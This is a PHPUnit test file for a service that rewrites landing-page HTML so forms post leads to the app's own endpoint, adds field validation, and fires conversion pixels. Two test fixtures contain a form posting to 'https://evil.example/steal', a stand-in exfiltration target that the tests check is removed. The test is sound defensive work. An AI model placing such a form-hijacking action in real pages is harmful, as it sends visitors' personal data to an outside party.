<?php

namespace Tests\Unit\Services;

use App\Services\PublicPromptLandingPageDocument;
use Tests\TestCase;

class PublicPromptLandingPageDocumentTest extends TestCase
{
    private function document(): PublicPromptLandingPageDocument
    {
        return new PublicPromptLandingPageDocument;
    }

    public function test_it_rewrites_forms_to_the_lead_capture_url_and_injects_the_script(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<head><title>Yoga</title></head>
<body>
<form action="https://evil.example/steal" method="get" target="_blank">
    <input name="email">
</form>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
        );

        $this->assertStringContainsString(
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
            $document,
        );
        $this->assertStringContainsString('method="post"', strtolower($document));
        $this->assertStringContainsString('data-admedia-lead="1"', $document);
        $this->assertStringContainsString('novalidate', $document);
        $this->assertStringNotContainsString('https://evil.example/steal', $document);
        $this->assertStringNotContainsString('target="_blank"', $document);
        $this->assertStringContainsString("form.getAttribute('data-admedia-lead') !== '1'", $document);
        $this->assertStringContainsString('Please fill in the required fields.', $document);
        $this->assertStringContainsString('Please enter a valid email address.', $document);
        $this->assertStringContainsString('type="email"', $document);
        $this->assertStringContainsString('required', $document);
        $this->assertStringContainsString('data-admedia-lead-error', $document);
        $this->assertStringNotContainsString('form.submit()', $document);
        $this->assertStringContainsString('window.location.assign(\'/\')', $document);
        $this->assertStringContainsString('body.append(\'page_load_id\', pageLoadId)', $document);
        $this->assertStringNotContainsString('query_params', $document);
        $this->assertStringNotContainsString('Continue to secure signup', $document);
        $this->assertStringContainsString('Return to the website', $document);
    }

    public function test_it_keeps_the_return_cta_and_removes_continue_signup_links(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<head><title>WebCrawlers</title></head>
<body>
<form action="/old" method="post">
    <input name="email">
    <button type="submit">Send details</button>
</form>
<section>
    <a class="btn" href="https://checkout.example/signup" target="_blank">Continue to secure signup</a>
    <button type="button">Continue</button>
    <a class="btn" href="https://attestpath.example/signup">Return to AttestPath</a>
    <a href="#lead-form">Get started</a>
    <a href="/privacy">Privacy</a>
</section>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/webcrawlers.example.com/leads-page/12/leads',
            'AttestPath',
        );

        $this->assertStringContainsString('Return to AttestPath', $document);
        $this->assertStringContainsString('data-admedia-home="1"', $document);
        $this->assertStringContainsString('href="/"', $document);
        $this->assertStringNotContainsString('Continue to secure signup', $document);
        $this->assertStringNotContainsString('>Continue<', $document);
        $this->assertStringNotContainsString('https://checkout.example/signup', $document);
        $this->assertStringNotContainsString('https://attestpath.example/signup', $document);
        $this->assertStringNotContainsString('target="_blank"', $document);
        $this->assertStringContainsString('href="#lead-form"', $document);
        $this->assertStringContainsString('href="/privacy"', $document);
        $this->assertStringContainsString('>Get started</a>', $document);
        $this->assertStringContainsString('form.innerHTML = \'<p>Thanks', $document);
        $this->assertStringContainsString('we received your details.</p>\'', $document);
    }

    public function test_it_relabels_a_continue_cta_when_the_page_has_no_return_cta(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<head><title>Yoga</title></head>
<body>
<form action="/old" method="post">
    <input name="email">
    <button type="submit">Send details</button>
</form>
<a class="btn" href="https://checkout.example/signup">Continue to secure signup</a>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
            'Austin Yoga',
        );

        $this->assertStringContainsString('Return to Austin Yoga', $document);
        $this->assertStringContainsString('data-admedia-home="1"', $document);
        $this->assertStringNotContainsString('Continue to secure signup', $document);
        $this->assertStringNotContainsString('https://checkout.example/signup', $document);
    }

    public function test_it_adds_required_email_and_phone_validation_to_lead_forms(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<body>
<form>
    <input name="name">
    <input name="email">
    <input name="phone">
    <textarea name="message"></textarea>
    <button type="submit">Send</button>
</form>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
        );

        $this->assertMatchesRegularExpression('/<input[^>]*name="name"[^>]*required/i', $document);
        $this->assertMatchesRegularExpression('/<input[^>]*type="email"[^>]*name="email"[^>]*required|<input[^>]*name="email"[^>]*type="email"[^>]*required|<input[^>]*name="email"[^>]*required[^>]*type="email"/i', $document);
        $this->assertMatchesRegularExpression('/<input[^>]*type="tel"[^>]*name="phone"|<input[^>]*name="phone"[^>]*type="tel"/i', $document);
        $this->assertStringContainsString('Please enter a valid email address.', $document);
        $this->assertStringContainsString('Please enter a valid phone number.', $document);
        $this->assertDoesNotMatchRegularExpression('/<textarea[^>]*name="message"[^>]*required/i', $document);
    }

    public function test_it_embeds_the_page_load_id_from_show(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<body>
<form><input name="email"></form>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
            'the website',
            '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d',
        );

        $this->assertStringContainsString('9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d', $document);
        $this->assertStringContainsString('var pageLoadId', $document);
        $this->assertStringNotContainsString('utm_source', $document);
    }

    public function test_it_fires_pixel_conversions_only_after_a_successful_lead_post(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<body>
<form><input name="email"></form>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/leads-page/12/leads',
        );

        $thanks = strpos($document, "form.innerHTML = '<p>Thanks");
        $fbqLead = strpos($document, "fbq('track', 'Lead')");
        $gtagConversion = strpos($document, 'gtag_report_conversion()');
        $showError = strpos($document, 'Could not send those details. Please try again.');

        $this->assertNotFalse($thanks);
        $this->assertNotFalse($fbqLead);
        $this->assertNotFalse($gtagConversion);
        $this->assertNotFalse($showError);
        $this->assertLessThan($fbqLead, $thanks);
        $this->assertLessThan($gtagConversion, $fbqLead);
        $this->assertLessThan($thanks, $showError);
    }

    public function test_app_download_pages_keep_the_store_link_and_do_not_add_a_return_cta(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<head><title>Yoga App</title></head>
<body>
<header><a class="logo" href="/">Austin Yoga</a></header>
<a class="btn cta" href="https://apps.apple.com/app/yoga">Download on the App Store</a>
<a href="/privacy">Privacy</a>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/app-download-page/12/leads',
            'Austin Yoga',
            '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d',
            true,
            'http://localhost/api/p/yoga.example.com/app-download-page/12/downloads',
        );

        $this->assertStringContainsString('href="https://apps.apple.com/app/yoga"', $document);
        $this->assertStringContainsString('Download on the App Store', $document);
        $this->assertStringContainsString('data-admedia-download="1"', $document);
        $this->assertStringContainsString("fbq('track', 'Lead')", $document);
        $this->assertStringContainsString('gtag_report_conversion(href)', $document);
        $this->assertStringContainsString('window.location.assign(href)', $document);
        $this->assertStringContainsString('recordDownloadClick', $document);
        $this->assertStringContainsString('http://localhost/api/p/yoga.example.com/app-download-page/12/downloads', $document);
        $this->assertStringContainsString('navigator.sendBeacon', $document);
        $this->assertStringContainsString('URLSearchParams', $document);
        $this->assertStringContainsString("type: 'application/x-www-form-urlencoded'", $document);
        $this->assertStringNotContainsString("type: 'application/json'", $document);
        $this->assertStringNotContainsString('Return to Austin Yoga', $document);
        $this->assertDoesNotMatchRegularExpression('/<(?:a|button)[^>]*data-admedia-home/i', $document);
        $this->assertStringContainsString('href="/privacy"', $document);
    }

    public function test_app_download_pages_still_wire_an_optional_lead_form(): void
    {
        $html = <<<'HTML'
<!doctype html>
<html>
<body>
<form action="https://evil.example/steal"><input name="email"></form>
<a href="https://play.google.com/store/apps/details?id=yoga">Get the app</a>
</body>
</html>
HTML;

        $document = $this->document()->withLeadCapture(
            $html,
            'http://localhost/api/p/yoga.example.com/app-download-page/12/leads',
            'Austin Yoga',
            null,
            true,
        );

        $this->assertStringContainsString('data-admedia-lead="1"', $document);
        $this->assertStringContainsString('http://localhost/api/p/yoga.example.com/app-download-page/12/leads', $document);
        $this->assertStringNotContainsString('https://evil.example/steal', $document);
        $this->assertStringContainsString('data-admedia-download="1"', $document);
        $this->assertStringContainsString('https://play.google.com/store/apps/details?id=yoga', $document);
        $this->assertStringNotContainsString('Return to Austin Yoga', $document);
    }
}
